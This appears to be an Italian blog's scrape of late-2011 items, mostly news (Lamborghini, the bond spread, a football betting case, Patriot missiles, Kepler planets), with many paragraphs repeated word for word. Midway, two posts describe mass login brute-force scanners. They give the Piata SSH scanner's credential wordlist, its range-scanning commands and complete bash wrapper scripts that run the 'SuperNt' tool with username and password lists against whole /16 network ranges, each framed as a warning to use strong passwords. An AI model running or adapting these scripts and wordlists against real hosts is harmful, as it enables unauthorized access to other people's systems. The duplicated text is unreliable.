sabato 24 dicembre 2011
Lamborghini cresce (+20%) e prepara un Suv estremo
«La Aventador è già un grande successo. Ne abbiamo appena prodotto
l’esemplare numero 500 e le ordinazioni per i prossimi 18 mesi sono
costantemente esaurite: significa che le richieste vanno oltre qualsiasi
previsione». Il presidente Stephan Winkelmann in un incontro a Milano
traccia un bilancio ampiamente positivo del 2011 Lamborghini. «A Los
Angeles - spiega - abbiamo presentato in un evento esclusivo la nuova
Gallardo LP 550-2 Spyder, versione scoperta del modello a due ruote
motrici. E recentemente abbiamo confermato che verrà prodotta la Sesto
Elemento, un saggio estremo di tecnologia. Inoltre prosegue l’impegno
sportivo, come conferma la SuperTrofeo Stradale presentata a
Francoforte. Nel 2012 avremo anche 6 weekend specifici in Asia dedicati
ai piloti privati che vogliono cimentarsi in pista e alle loro
famiglie».
Le vendite si chiuderanno per il marchio del Toro a 1.600 unità: «Il 20% in più dell’anno precedente - dice Winkelmann - nonostante le difficoltà del mercato globale e gli scenari di crisi economica. Merito in particolare dell’incremento notevole che registriamo nei Paesi emergenti dell’Asia-Pacifico, a cominciare dalla Cina dove ormai abbiamo una rete radicata di 14 dealers, che continueranno a crescere». Il presidente ricorda lo sviluppo di sistemi ambientali a supporto della lavorazione nella fabbrica di Sant’Agata («con il fotovoltaico abbiamo abbattuto del 30% la Co2 e le nostre vetture ne emetteranno il 35% in meno entro il 2015») e le prospettive di crescita dell’azienda («siamo una delle poche che in Italia assumono, i nostri mille dipendenti godono di privilegi importanti, come l’assicurazione sanitaria»).
Grandi novità sono in arrivo, sebbene non a brevissima scadenza. «A Ginevra - anticipa Winkelmann - vedrete qualcosa di molto interessante». Non va oltre, tuttavia è ormai chiaro che la gamma verrà ampliata da un terzo modello. Uscita di scena la Murciélago, e con la Aventador in piena crescita, la Gallardo con le sue numerose versioni speciali sarà modello di punta «per almeno altri due anni: a gennaio toccherà quota 12 mila». Però un terzo modello è ormai in cantiere e sarà una vera «rivoluzione». Se la Estoque (muscolosa quattro porte che è rimasta un concept) non avrà per ora futuro industriale, c’è probabilmente un Suv trasversale nei piani del Toro. Nascerà dalle sinergie di gruppo con Audi (e con Porsche), di cui potrà utilizzare pianale e parte dei componenti, pur mantenendo lo storico Dna Lamborghini. Lo scopo è di rivolgersi soprattutto alla nuova clientela di Cina, India e Russia per offrire una valida alternativa alle Gran Turismo superribassate. «Da soli non avremmo i mezzi per sviluppare nuove piattaforme - ammette il presidente - tuttavia l’integrazione con gli altri marchi ci dischiude per il futuro orizzonti più ampi».
Le vendite si chiuderanno per il marchio del Toro a 1.600 unità: «Il 20% in più dell’anno precedente - dice Winkelmann - nonostante le difficoltà del mercato globale e gli scenari di crisi economica. Merito in particolare dell’incremento notevole che registriamo nei Paesi emergenti dell’Asia-Pacifico, a cominciare dalla Cina dove ormai abbiamo una rete radicata di 14 dealers, che continueranno a crescere». Il presidente ricorda lo sviluppo di sistemi ambientali a supporto della lavorazione nella fabbrica di Sant’Agata («con il fotovoltaico abbiamo abbattuto del 30% la Co2 e le nostre vetture ne emetteranno il 35% in meno entro il 2015») e le prospettive di crescita dell’azienda («siamo una delle poche che in Italia assumono, i nostri mille dipendenti godono di privilegi importanti, come l’assicurazione sanitaria»).
Grandi novità sono in arrivo, sebbene non a brevissima scadenza. «A Ginevra - anticipa Winkelmann - vedrete qualcosa di molto interessante». Non va oltre, tuttavia è ormai chiaro che la gamma verrà ampliata da un terzo modello. Uscita di scena la Murciélago, e con la Aventador in piena crescita, la Gallardo con le sue numerose versioni speciali sarà modello di punta «per almeno altri due anni: a gennaio toccherà quota 12 mila». Però un terzo modello è ormai in cantiere e sarà una vera «rivoluzione». Se la Estoque (muscolosa quattro porte che è rimasta un concept) non avrà per ora futuro industriale, c’è probabilmente un Suv trasversale nei piani del Toro. Nascerà dalle sinergie di gruppo con Audi (e con Porsche), di cui potrà utilizzare pianale e parte dei componenti, pur mantenendo lo storico Dna Lamborghini. Lo scopo è di rivolgersi soprattutto alla nuova clientela di Cina, India e Russia per offrire una valida alternativa alle Gran Turismo superribassate. «Da soli non avremmo i mezzi per sviluppare nuove piattaforme - ammette il presidente - tuttavia l’integrazione con gli altri marchi ci dischiude per il futuro orizzonti più ampi».
Lo spread Btp-Bund torna sopra i 500 punti
Il rendimento decennale dei titoli di Stato vola intorno al 7% mentre la Borsa di Milano, dopo una settimana contrastata, chiude in lieve rialzo. La liquidità della Bce alle banche sembra non cancellare lo spauracchio della crisi in Europa
09:30 - Nuova giornata di tensione sui titoli di Stato. Lo spread fra Btp decennali e Bund chiude a 502 punti, con il rendimento del Btp decennale vicino alla soglia d'allarme del 7%. Il rendimento si è attestato al 6,98%.
Dai dati emersi nei mercati finanziari, in questa settimana pre-natalizia, il fiume di liquidità riversato sulle banche dell'Eurozona dalla Bce sembra quindi non essere sufficiente a proteggere la minaccia di un declassamento. A dirlo anche il direttore di Standar & Poor's per la divisione sulle istituzioni finanziarie, Scott Bugie, secondo cui la mossa di Francoforte non risolve il problema alla radice, ossia quello di avere troppi titoli di Stato in pancia. Bugie ha sottolineato che il 2012 sarà un anno molto difficile per tutta Eurolandia e i primi tre mesi del nuovo anno saranno un test fondamentale soprattutto per l'Italia, che deve affrontare sul fronte titoli scadenze molto impegnative.
Piazza Affari intanto ha chiuso la settimana in lieve rialzo, con scambi contenuti e nel segno della prudenza. Il Ftse Mib ha guadagnato lo 0,31% a 15.073 punti mentre l'All Share lo 0,42% a 15.809 punti. Deboli le banche, positivi gli energetici, contrastati gli industriali.
Piazza Affari intanto ha chiuso la settimana in lieve rialzo, con scambi contenuti e nel segno della prudenza. Il Ftse Mib ha guadagnato lo 0,31% a 15.073 punti mentre l'All Share lo 0,42% a 15.809 punti. Deboli le banche, positivi gli energetici, contrastati gli industriali.
Calcioscommesse, Doni fa le prime ammissioni e il gip accoglie la richiesta di scarcerazione
La posizione del giocatore dell'Atalanta si ridimensiona. Già oggi sarà agli arresti domiciliari. Ancora in lacrime davanti al magistrato: "Chiedo scusa ai tifosi"
09:20 - Concluso l'interrogatorio di garanzia, durato circa due ore, di Cristiano Doni. Secondo il difensore del capitano dell'Atalanta la posizione del suo assistito "ora si è notevolmente ridimensionata". L'istanza di scarcerazione per il giocatore è stata accolta dal pm e dal gip: tra poche ore Doni potrebbe tornare a casa, ai domiciliari. L'uomo avrebbe ammesso scommesse a livello personale sulle partite, ma ha escluso il coinvolgimento della società. Ammissioni sulle partite ma il club non c'entra Stando a quanto riporta il sito de la Gazzetta dello Sport, Salvatore Pino, legale di Doni, ha detto che il suo assistito sta collaborando con i giudici. Doni ha fatto ammissioni su Atalanta-Piacenza precisando di aver agito a titolo personale facendo scommesse su alcune partite di cui aveva avuto informazioni. Il giocatore ha negato qualsiasi contatto o conoscenza con il gruppo degli "zingari". Ammissioni anche su Ascoli-Atalanta, negate invece scommesse su Padova-Atalanta, la partita che avrebbe visto il coinvolgimento della società nerazzurra. Gip: "Quasi tutto confermato" "Tutti hanno confermato quasi tutto". Così il gip di Cremona, Guido Salvini, ha sintetizzato con i giornalisti quanto emerso negli interrogatori di garanzia degli arrestati nell'ambito dell'inchiesta sul calcioscommesse fin qui ascoltati. "Abbiamo avuto conferma di quasi tutti gli episodi descritti nell'ordinanza di custodia cautelare", ha spiegato Salvini al termine dell'interrogatorio dell'ex capitano dell'Atalanta Cristiano Doni, aggiungendo che "le difese stanno presentando istanze che saranno esaminate a breve". "Gli sviluppi - ha continuato il magistrato - sono nell'interesse di tutti, è un risultato positivo non solo per chi segue le indagini ma anche per chi segue il mondo del calcio e spera che questo non sia protagonista della cronaca giudiziaria". Salvini ha precisato che "nessuno ha aggiunto fatti nuovi" rispetto alle indagini finora svolte, ma si sarebbero limitate in tutto o in parte ad assumersi le responsabilità per quanto contestato. Avvocato: "Fatti contestati non sono ribaltabili" "Il quadro indiziario ne esce rafforzato ma, rispetto alle premesse, la sua posizione ne esce alleggerita nel senso che la sua responsabilità personale risulta affievolita". E' quanto ha dichiarato Salvatore Pino, legale di Doni. "Gli inquirenti hanno certamente le idee chiare, hanno fatto una ricostruzione certosina, ricostruendo fatti effettivi: le premesse risultano confermate e non sono ribaltabili tali e quali ma il quadro di responsabilità del mio assistito ne esce ridotto" ha continuato l'avvocato, spiegando che l'ex capitano dell'Atalanta "ha ammesso le sue responsabilità sulla partita Atalanta-Piacenza, ha fatto dei distinguo su Ascoli-Atalanta, mentre su Padova-Atalanta non è in condizione di riferire alcunché". "Pagato il legale di Santoni perché in difficoltà" Doni ha anche ammesso di aver dato a Nicola Santoni il denaro per pagare parte della parcella del legale di quest'ultimo ma, sempre secondo il suo avvocato, lo avrebbe fatto perché si trovava "di fronte ad un amico in difficoltà economiche". Ammessa anche l'uso della sim ricaricabile intestata ad un cittadino romeno per fare delle telefonate ad altri arrestati. Sempre secondo quanto riferito da Pino, il giudice non avrebbe chiesto espressamente al calciatore del coinvolgimento dell'Atalanta nelle diverse combine contestate. Doni in lacrime davanti al gip e poi si scusa coi tifosi L'avvocato ha spiegato che Doni nell'ora e quaranta passata nella stanza del Gip ha avuto diversi momenti di commozione e "si è detto molto dispiaciuto per la squadra e i tifosi a cui tiene molto". Secondo chi era presente all'interrogatorio, l'ex capitano dell'Atalanta è apparso molto "demoralizzato, colpito, provato". Concessi i domiciliari agli indagati Dopo il parere favorevole del procuratore della Repubblica, Roberto Di Martino, il gip Guido Salvini ha accolto la richiesta di scarcerazione per Cristiano Doni, Nicola Santoni, Filippo Carobbio e Antonio Bendenati. Già nelle prossime ore i quattro potrebbero lasciare il carcere e andare ai domiciliari.
09:20 - Concluso l'interrogatorio di garanzia, durato circa due ore, di Cristiano Doni. Secondo il difensore del capitano dell'Atalanta la posizione del suo assistito "ora si è notevolmente ridimensionata". L'istanza di scarcerazione per il giocatore è stata accolta dal pm e dal gip: tra poche ore Doni potrebbe tornare a casa, ai domiciliari. L'uomo avrebbe ammesso scommesse a livello personale sulle partite, ma ha escluso il coinvolgimento della società. Ammissioni sulle partite ma il club non c'entra Stando a quanto riporta il sito de la Gazzetta dello Sport, Salvatore Pino, legale di Doni, ha detto che il suo assistito sta collaborando con i giudici. Doni ha fatto ammissioni su Atalanta-Piacenza precisando di aver agito a titolo personale facendo scommesse su alcune partite di cui aveva avuto informazioni. Il giocatore ha negato qualsiasi contatto o conoscenza con il gruppo degli "zingari". Ammissioni anche su Ascoli-Atalanta, negate invece scommesse su Padova-Atalanta, la partita che avrebbe visto il coinvolgimento della società nerazzurra. Gip: "Quasi tutto confermato" "Tutti hanno confermato quasi tutto". Così il gip di Cremona, Guido Salvini, ha sintetizzato con i giornalisti quanto emerso negli interrogatori di garanzia degli arrestati nell'ambito dell'inchiesta sul calcioscommesse fin qui ascoltati. "Abbiamo avuto conferma di quasi tutti gli episodi descritti nell'ordinanza di custodia cautelare", ha spiegato Salvini al termine dell'interrogatorio dell'ex capitano dell'Atalanta Cristiano Doni, aggiungendo che "le difese stanno presentando istanze che saranno esaminate a breve". "Gli sviluppi - ha continuato il magistrato - sono nell'interesse di tutti, è un risultato positivo non solo per chi segue le indagini ma anche per chi segue il mondo del calcio e spera che questo non sia protagonista della cronaca giudiziaria". Salvini ha precisato che "nessuno ha aggiunto fatti nuovi" rispetto alle indagini finora svolte, ma si sarebbero limitate in tutto o in parte ad assumersi le responsabilità per quanto contestato. Avvocato: "Fatti contestati non sono ribaltabili" "Il quadro indiziario ne esce rafforzato ma, rispetto alle premesse, la sua posizione ne esce alleggerita nel senso che la sua responsabilità personale risulta affievolita". E' quanto ha dichiarato Salvatore Pino, legale di Doni. "Gli inquirenti hanno certamente le idee chiare, hanno fatto una ricostruzione certosina, ricostruendo fatti effettivi: le premesse risultano confermate e non sono ribaltabili tali e quali ma il quadro di responsabilità del mio assistito ne esce ridotto" ha continuato l'avvocato, spiegando che l'ex capitano dell'Atalanta "ha ammesso le sue responsabilità sulla partita Atalanta-Piacenza, ha fatto dei distinguo su Ascoli-Atalanta, mentre su Padova-Atalanta non è in condizione di riferire alcunché". "Pagato il legale di Santoni perché in difficoltà" Doni ha anche ammesso di aver dato a Nicola Santoni il denaro per pagare parte della parcella del legale di quest'ultimo ma, sempre secondo il suo avvocato, lo avrebbe fatto perché si trovava "di fronte ad un amico in difficoltà economiche". Ammessa anche l'uso della sim ricaricabile intestata ad un cittadino romeno per fare delle telefonate ad altri arrestati. Sempre secondo quanto riferito da Pino, il giudice non avrebbe chiesto espressamente al calciatore del coinvolgimento dell'Atalanta nelle diverse combine contestate. Doni in lacrime davanti al gip e poi si scusa coi tifosi L'avvocato ha spiegato che Doni nell'ora e quaranta passata nella stanza del Gip ha avuto diversi momenti di commozione e "si è detto molto dispiaciuto per la squadra e i tifosi a cui tiene molto". Secondo chi era presente all'interrogatorio, l'ex capitano dell'Atalanta è apparso molto "demoralizzato, colpito, provato". Concessi i domiciliari agli indagati Dopo il parere favorevole del procuratore della Repubblica, Roberto Di Martino, il gip Guido Salvini ha accolto la richiesta di scarcerazione per Cristiano Doni, Nicola Santoni, Filippo Carobbio e Antonio Bendenati. Già nelle prossime ore i quattro potrebbero lasciare il carcere e andare ai domiciliari.
venerdì 23 dicembre 2011
A bordo casse con «fuochi di artificio» Ma dentro c'erano missili Patriot, made in Usa
Ridda di ipotesi sul caso della nave «Thor Liberty» fermata dai finlandesi, dalla pista russa ai segnali alla Corea del Nord
WASHINGTON – WASHINGTON – Un caso intricato in Finlandia. Le autorità finlandesi hanno perquisito, nel porto di Kotka (sud del paese), il mercantile Thor Liberty, e hanno trovato nelle stive 69 missili anti-aerei Patriot (produzione americana) e 160 tonnellate di «esplosivo», in realtà propellente solido per gli ordigni. A rendere tutto strano il manifesto di carico della nave: la merce trasportata era indicata come «fuochi d’artificio». Per questo i doganieri hanno arrestato il comandante del mercantile e il suo vice. La Thor Liberty, registrata in Gran Bretagna, noleggiata da una società danese, equipaggio ucraino, è arrivata il 13 dicembre dallo scalo tedesco di Eden e doveva proseguire alla volta di Shangai in Cina. Prima, però, doveva imbarcare una partita di ferro per un cliente cinese.
LE IMPRECISIONI NELLA SPEDIZIONE - E quando i marittimi locali sono saliti a bordo per caricare il materiale – sostiene la ricostruzione ufficiale - si sono accorti dell’esplosivo stoccato in modo non appropriato, poi hanno visto i missili. Sembrerebbe dunque un ritrovamento casuale ma non sarebbe strano se gli agenti avessero agito in base a una dritta. Diverse le ipotesi sul «giro». La prima riguarda la Sud Corea che ha acquistato i Patriot di seconda mano in Germania. Seul ha esigenza di completare le sue scorte e in passato ha cercato di rifornirsi negli Usa, ma l’accordo è saltato a causa del prezzo. Solo ieri pomeriggio, funzionari tedeschi hanno comunicato che la fornitura era conforme ai regolamenti internazionali. Se è vera questa versione – come sembrano accreditare anche altre fonti – restano da comprendere le imprecisioni nella spedizione.LA PISTA RUSSA -Forse, è la spiegazione, avevano molta fretta di inviare i missili. Sulla blogosfera si è «ricamato» molto sul caso con diverse interpretazioni: 1) I russi hanno fatto la soffiata per disturbare la fornitura. 2) Si voleva far sapere dell’invio dei Patriot per lanciare un segnale al Nord. 3) Nessun mistero, sono stati solo maldestri. 4) Indagate, perché non è tutto chiaro. L’altra ipotesi – che nelle ultime ore ha perso credito - è quella di un traffico clandestino. Hanno finto di comprare i Patriot per la Corea del Sud ma la loro destinazione era un paese “proibito”. In questo caso era necessario confondere le piste con una rotta tortuosa..
Francia, primo sì a legge su genocidio armeno Turchia furiosa, ritirato l'ambasciatore
Tensione tra Parigi e Ankara per il testo che punisce la negazione del genocidio. Erdogan annulla gli incontri
PARIGI – L’Assembla nazionale francese vota una legge che punisce la negazione del genocidio del 1915 a danno degli armeni e la Turchia reagisce con durezza: il premier Erdogan ha accusato Parigi di «una politica fondata sul razzismo, la discriminazione e la xenofobia», richiamando in patria l’ambasciatore e ammonendo che «simili ferite si rimargineranno molto difficilmente».
ALZATA DI MANO - Nonostante gli avvertimenti e le pressioni turche dei giorni scorsi, la grande maggioranza della cinquantina di deputati presenti in Aula ha approvato per alzata di mano il testo che prevede un anno di carcere e 45 mila euro di ammenda per chi neghi pubblicamente il genocidio commesso dai turchi nel 1915. La Francia riconosce ufficialmente due genocidi: quello a danno degli ebrei durante la Seconda guerra mondiale e quello degli Armeni, ma finora era punita solo la negazione del primo. Manca ancora l’approvazione del testo da parte del Senato, e non è certo che vi si arrivi prima della fine della legislatura, in primavera, ma la volontà politica della Francia è evidente: hanno votato a favore della legge il partito di maggioranza di centrodestra Ump, il Nuovo Centro, i socialisti e i comunisti.
PRO E CONTRO - Tra le figure di spicco contrario solo il centrista François Bayrou, che ha parlato di un testo «irragionevole e pericoloso». Viene mantenuta così la promessa fatta dal presidente Nicolas Sarkozy il 7 ottobre scorso quando, in visita nella capitale armena Erevan accompagnato dal cantante-istituzione nazionale Charles Aznavour (all’anagrafe Chahnourh Varinag Aznavourian), garantì al presidente Serge Sarkissian di proseguire sulla strada della «legge sulla memoria». Una mossa opportunistica per accaparrarsi la simpatia dei 400 mila francesi di origine armena, dicono gli osservatori che imputano qualsiasi azione del presidente Sarkozy a cinici calcoli pre-elettorali. Ma i francesi di origine turca sono più o meno altrettanti, e non meno influenti.
LE REAZIONI - Il voto dell’Assemblea nazionale sembra invece rispondere a due linee di fondo della politica francese; l’approvazione di leggi che indirizzano e imbrigliano il lavoro degli storici (contro le quali si batte da anni in prima linea Pierre Nora), e un atteggiamento anti-turco chiarito la sera stessa del suo ingresso all’Eliseo da Nicolas Sarkozy, quasi quattro anni fa: la Francia è contraria all’ingresso della Turchia nell’Unione europea. Le relazioni franco-turche, da sempre non facili, erano migliorate poche settimane fa con la visita ad Ankara del ministro degli Esteri Alain Juppé, al termine della quale Francia e Turchia avevano trovato una posizione comune contro il regime siriano. Dopo quel passo avanti, tre indietro: Erdogan annuncia ora di avere annullato tutti gli incontri politici, economici, militari e culturali con la Francia. La questione non riguarda solo Parigi e Ankara ma tutta l’Europa e l’Occidente: la lite Sarkozy-Erdogan non fa che allontanare ancora di più la Turchia dall’Ue, rafforzando indirettamente il ruolo di Ankara come potenza regionale portata ad agire in modo autonomo, sganciata dall’Occidente, in tutto il Medio Oriente.
giovedì 22 dicembre 2011
"Neymar? Il Barça non ha precedenza"
Il Santos smentisce le voci dei media spagnoli: «I catalnai non si sono garantiti nessuna priorità:
resterà con noi fino al 2014»
Neymar e Messi |
In Spagna il tam tam che vede Neymar ad un passo dal Barcellona è sempre
più forte. Al punto che diversi quotidiani sportivi, in particolare i
catalani Sport e Mundo Deportivo, hanno scritto che i campioni d'Europa
avrebbero già versato un acconto di 10 milioni di euro per avere la
priorità sulle altre pretendenti al talento brasiliano quando il Santos
deciderà di metterlo sul mercato.
Un'indiscrezione che il club ha
smentito con fermezza in un comunicato apparso sul sito ufficiale. «Il
Santos - si legge - rende noto che sono totalmente infondate, false e
fantasiose le notizie secondo cui il Barcellona si sarebbe garantito la
priorità nel caso di un'eventuale cessione futura dei diritti sul nostro
giocatore Neymar Junior, e che per questo supposto privilegio avrebbe
fatto un pagamento».
«Come abbiamo annunciato il 9 novembre
scorso - continua la nota del Santos - Neymar sarà un atleta del Santos
fino alla Coppa del Mondo del 2014, come minimo. A causa del suo
contratto, il suo rapporto di lavoro sarà esclusivamente con il Santos,
senza un diritto di prelazione a favore di altri club fra quelli
interessati alle sue prestazioni». Niente corsie preferenziali per il
Barcellona, dunque. Qualche dirigente del Santos, probabilmente, non ha
ancora mandato giù le quattro reti rimediate dalla squadra di Guardiola
nella finale del Mondiale per club.
Iraq, attentati multipli a Bagdad almeno 57 morti e 150 feriti
Tredici esplosioni, provocate sia da ordigni che da autobombe, in varie zone della città a soli quattro giorni dalla partenza dell'ultimo soldato statunitense. Il bilancio più grave nel distretto commerciale di Karrada. Mentre nel Paese divampa lo scontro tra sunniti e sciiti
BAGDAD - Una serie di attentati coordinati ha colpito
stamattina la capitale irachena, a soli quattro giorni dalla partenza
dell'ultimo soldato Usa. Il bilancio provvisorio parla di almeno 57
morti e 150 feriti. Secondo la Bbc, sono tredici le aree colpite: i
quartieri di Allawi, Bab al-Muatham e Karrada; al nord quelli di
Adhamiyah, Shouala e al-Shab, a est Jadriyah, a ovest al-Ghazaliyah, e
al sud al-Amil e Doura. Tutte le aree sono accomunate dalla prevalenza
di abitanti di confessione sciita. La strage più pesante si è registrata
in centro, nella zona commerciale di Karrada, dove è saltata in aria
un'auto-bomba.
Non è giunta per ora alcuna rivendicazione degli
attentati che, tuttavia, per l'organizzazione e il livello di
coordimento sembrano riconducibili ad al-Qaeda. La guerra in Iraq sarà finita per gli Stati Uniti 1,
ma per le strade di Bagdad dunqe si continua a morire. Gli attentati di
oggi sono i peggiori in Iraq dal 15 agosto scorso, quando un'ondata di
esplosioni in diciassette diverse città provocò 74 morti e oltre
duecento feriti.
Coincidono inoltre con la grave crisi politica
in corso nel Paese Iraq, perché si aggrava lo scontro tra sunniti e
sciiti. Negli ultimi giorni è stato spiccato un mandato di cattura nei
confronti di uno dei due vice presidenti, il sunnita Tareq al-Hashemi,
per presunte attività terroristiche:
I primi due pianeti rocciosi grandi come la nostra Terra
Scoperti dal telescopio orbitale Keplero della Nasa. Ma sono troppo caldi
Sono i primi pianeti rocciosi avvistati intorno ad un’altra stella uguale al nostro sole. Però non sono nella zona detta abitabile, cioè a una giusta distanza dall’astro tanto da consentire lo scorrere dell’acqua in superficie. È un altro passo avanti verso la scoperta del gemello della Terra. Giusto all’inizio di dicembre il satellite Keplero della Nasa aveva scoperto il Kepler-22b, un pianeta due volte e mezza il nostro, e nella zona abitabile, ma la sua natura era incerta: non si sapeva se fosse prevalentemente rocciosa o gassosa.
I due nuovi individuati dallo steso osservatorio, Kepler-20e e Kepler-20f, sono praticamente uguali essendo il primo 0,87 volte la Terra e il secondo 1,03 volte. Inoltre non sono soli ma fanno parte di un corteo planetario formato da cinque corpi distante da noi mille anni luce nella direzione della costellazione della Lira. Ecco il loro identikit. Kepler-20e corre rapido e impiega 6,1 giorni per compiere un giro intorno alla stella-madre; altrettanto Kepler-20f che ha bisogno di 19,6 giorni. Questa rapidità rivela un dato poco confortante: sono poco ospitali. Sul primo la temperatura è calcolata in 470 gradi e sul secondo si arriva a 760 gradi; un clima che fonde il vetro e quindi l’acqua evaporerebbe se sgorgasse dalle profondità.
«Nonostante questi limiti la scoperta dimostra che esistono corpi celesti rocciosi della taglia della Terra ritrovabili anche nella zona abitabile» nota Francois Fressin dell’Harvard-Smithsoninan Center for Astrophysics a Cambridge, Massachusetts, alla guida degli astronomi autori del risultato. Gli altri tre pianeti del remoto sistema solare sono tutti più grandi del nostro e tutti e cinque si trovano vicinissimi all’astro-madre tanto da essere, per fare un confronto, all’interno dell’orbita di Mercurio rispetto al Sole. Un dato interessante è la loro distribuzione. Nel nostro sistema solare i pianeti rocciosi sono vicini alla stella mentre quelli gassosi più lontano. Nel quintetto osservato invece si alternano. Comunque, al di là delle diversità, la cosa importante è che il telescopio orbitale Keplero della Nasa si sta rivelando uno strumento eccezionale per questa caccia ai pianeti extrasolari portandoci sempre più vicino alla scoperta di in vero gemello del nostro pianeta azzurro.
Mass SSH Scanners used for Massive Bruteforce Attacks
Mass SSH Scanners used for Massive Bruteforce Attacks Linux
These are some of the USER:PASS wordlists in Piata SSH Scanner:
root root
admin admin
test test
root matrix
ghost ghost
root sleeper
root slider
guest guest
ghost 123456
magnos magnos
root 333333
root 444444
aaron aaron
jun jun
rebecca rebecca
einstein einstein
anna anna
sara sara
root einstein
root singnin
amy amy
amy 123456
root !@#$%^
root 555555
tracy tracy
root happy
controller controller
root 666666
emily emily
root god
backuppc backuppc
backuppc 123456
avahi avahi
root solomon
root a
root controller
root 666
amavisd amavisd
mysql mysql
Brute force attacks,
one of the most common attacks initiated by script kiddies or crackers.
Successful logins for various boxes includes good compensation
especially if you get a Linux box and not just some Busybox routers, Linux embedded boxes or MikroTik RouterOS.
Today a lot of programmers and coders released a lof of network logon crackers just like THC-HYDRA
and SSHtrix. But there are actually mass SSH scanners that are used for
massive brute force attacks for a certain IP range. These include
Unixcod, Piata, GSM Scanner, etc. In fact the ‘Silly Routers Release’ of
Lulzsec included simple logins which is just the same to the dictionary
list of the said mass SSH scanners. And if you think that the fake AnonPH got some skills because of releasing their own Silly Routers Release and SSH Logins in a DNN Vulnerable
Website, then think again.. coz they are just using a mass SSH scanner.
Now I’m not sure if they are using Piata or Unixcod but it’s probably
Piata because of the familiar usernames and passwords. :p
Piata is usually archived and compressed
in a tar file and it’s filename is ab.tar.gz. It has the same features
of a Unixcod SSH Scanner and the GSM Scanner, the only difference is its
bash filenames and wordlists. And so in this article, let’s try to
take a look on how to use a Piata SSH Scanner which is the most common
massive SSH scanner since it’s release(it’s quiet old already).
So what the attacker needs to do first is to set the IP range he wants to attack. So if the attacker uses the command ./a 124.107, the scanner will scan the IP Ranges 124.107.0.0 – 124.107.240.255.255 using the dictionary wordlist named as pass_file. The attacker could also execute the command ./mass 124
which attacks the IP Ranges 124.0.0.0 – 124.255.255.255. Successful
attacks will be shown in the terminal and logged to the file named as vuln.txt.
root root
admin admin
test test
root matrix
ghost ghost
root sleeper
root slider
guest guest
ghost 123456
magnos magnos
root 333333
root 444444
aaron aaron
jun jun
rebecca rebecca
einstein einstein
anna anna
sara sara
root einstein
root singnin
amy amy
amy 123456
root !@#$%^
root 555555
tracy tracy
root happy
controller controller
root 666666
emily emily
root god
backuppc backuppc
backuppc 123456
avahi avahi
root solomon
root a
root controller
root 666
amavisd amavisd
mysql mysql
I also observe today that most free SSH
shell accounts are used by malicious attackers for scanning SSH Logins. I
was able to discover this by using the command lines locate vuln.txt, locate mfu.txt, and locate pass_file and by grepping some commands found in the script in some Shell accounts I have.
And so the lesson here is not to use
simple passwords and usernames like iloveu, sex, god, rock, 123456,
love, 666, etc. Use alphanumeric keys but a complicated one and include
characters like *, >, +, ~, =, )(, &, etc.
Be safe from simple attacks like brute force attacks.
SuperNt Scanner for windows 2003
Scanner windowsnt usato dagli hacker per entrare dentro gli vostri sistemi.
0-100 file
#!/bin/bash
CLASA=$1
./run "`for i in $(seq 0 100); do echo -n $CLASA.$i\ ;done`"
100-200 file
#!/bin/bash
CLASA=$1
./run "`for i in $(seq 101 200); do echo -n $CLASA.$i\ ;done`"
200-255 file
#!/bin/bash
CLASA=$1
./run "`for i in $(seq 201 255); do echo -n $CLASA.$i\ ;done`"
run file
#!/bin/bash
LIST=$1
for i in $LIST; do
./nt -h $i.0.0/16 -u users -p pass -t 3 -c 30 -o log -d -k -C &
done
s file
#!/bin/sh
./nt -h $1 -u users -p pass -t 3 -c 30 -o log -d -k -C
and a user file txt Administrator
Questo e lo scanner usato dagli haker per penetrare i sistemi. Atenzione usate sempre password lunghe composte da ABCDEFaaaaaaa111111***!"£$%&/() qesto e un tipo di passowrd che e un po piu difficile da individuare.
0-100 file
#!/bin/bash
CLASA=$1
./run "`for i in $(seq 0 100); do echo -n $CLASA.$i\ ;done`"
100-200 file
#!/bin/bash
CLASA=$1
./run "`for i in $(seq 101 200); do echo -n $CLASA.$i\ ;done`"
200-255 file
#!/bin/bash
CLASA=$1
./run "`for i in $(seq 201 255); do echo -n $CLASA.$i\ ;done`"
run file
#!/bin/bash
LIST=$1
for i in $LIST; do
./nt -h $i.0.0/16 -u users -p pass -t 3 -c 30 -o log -d -k -C &
done
s file
#!/bin/sh
./nt -h $1 -u users -p pass -t 3 -c 30 -o log -d -k -C
and a user file txt Administrator
Questo e lo scanner usato dagli haker per penetrare i sistemi. Atenzione usate sempre password lunghe composte da ABCDEFaaaaaaa111111***!"£$%&/() qesto e un tipo di passowrd che e un po piu difficile da individuare.
Il Progetto Italiano per misurare e valutare la qualità della connessione Internet
Il Progetto Italiano per misurare e valutare la qualità della connessione Internet
Nel 2008
l'Autorità per le Garanzie nelle Comunicazioni, con
l’approvazione della Delibera n. 244/08/CSP
ha avviato il progetto italiano di monitoraggio della
qualità degli accessi ad internet da postazione fissa. Gli
obiettivi che l’Autorità attraverso questo progetto intende
perseguire sono due: effettuare misure certificate
al fine di comparare la qualità delle prestazioni offerte da
ogni operatore, relativamente ai profili/piani tariffari ADSL
più venduti; mettere in condizione l’utente/consumatore
attraverso uno specifico software gratuito di
valutare autonomamente la qualità del proprio accesso ad
Internet dalla propria postazione fissa.
Le
misure delle prestazioni delle reti dei singoli operatori, rilevate dal
progetto su tutto il territorio
nazionale e pubblicate sui siti web di ciascun operatore,
costituiscono i valori di riferimento su cui confrontare le
diverse offerte presenti sul mercato.
Il software Ne.Me.Sys. (Network Measurement System) invece consente di verificare che i valori misurati sulla singola linea telefonica siano rispondenti a quelli dichiarati e promessi dagli operatori nell’offerta contrattuale da loro sottoscritta.
Nel caso in cui l’utente rilevi valori peggiori rispetto a quanto garantito dall’operatore, il risultato di tale misura costituisce prova di inadempienza contrattuale e può essere utilizzato, come strumento di tutela al fine proporre un reclamo per richiedere il ripristino degli standard minimi garantiti e ove non vengano ristabiliti i livelli di qualità contrattuali, il recesso senza penali.
Torna Kalispéra, nuova formula 100% social: in diretta anche con Facebook, Twitter e Skype
Da venerdì 23 dicembre su Canale 5 in prima serata e in diretta torna Alfonso Signorini con il suo Kalispéra!
Tante le novità.
Innanzitutto i collegamenti attraverso Skype con i salotti di alcuni volti noti, per le interviste dal sapore più che mai casalingo.
E poi la possibilità per i telespettatori di partecipare attivamente al programma collegandosi in diretta attraverso Skype, Facebook e Twitter.
Come dire, per la prima volta un programma veramente multimediale con gli spettatori da casa protagonisti al 100%!
Tante le novità.
Innanzitutto i collegamenti attraverso Skype con i salotti di alcuni volti noti, per le interviste dal sapore più che mai casalingo.
E poi la possibilità per i telespettatori di partecipare attivamente al programma collegandosi in diretta attraverso Skype, Facebook e Twitter.
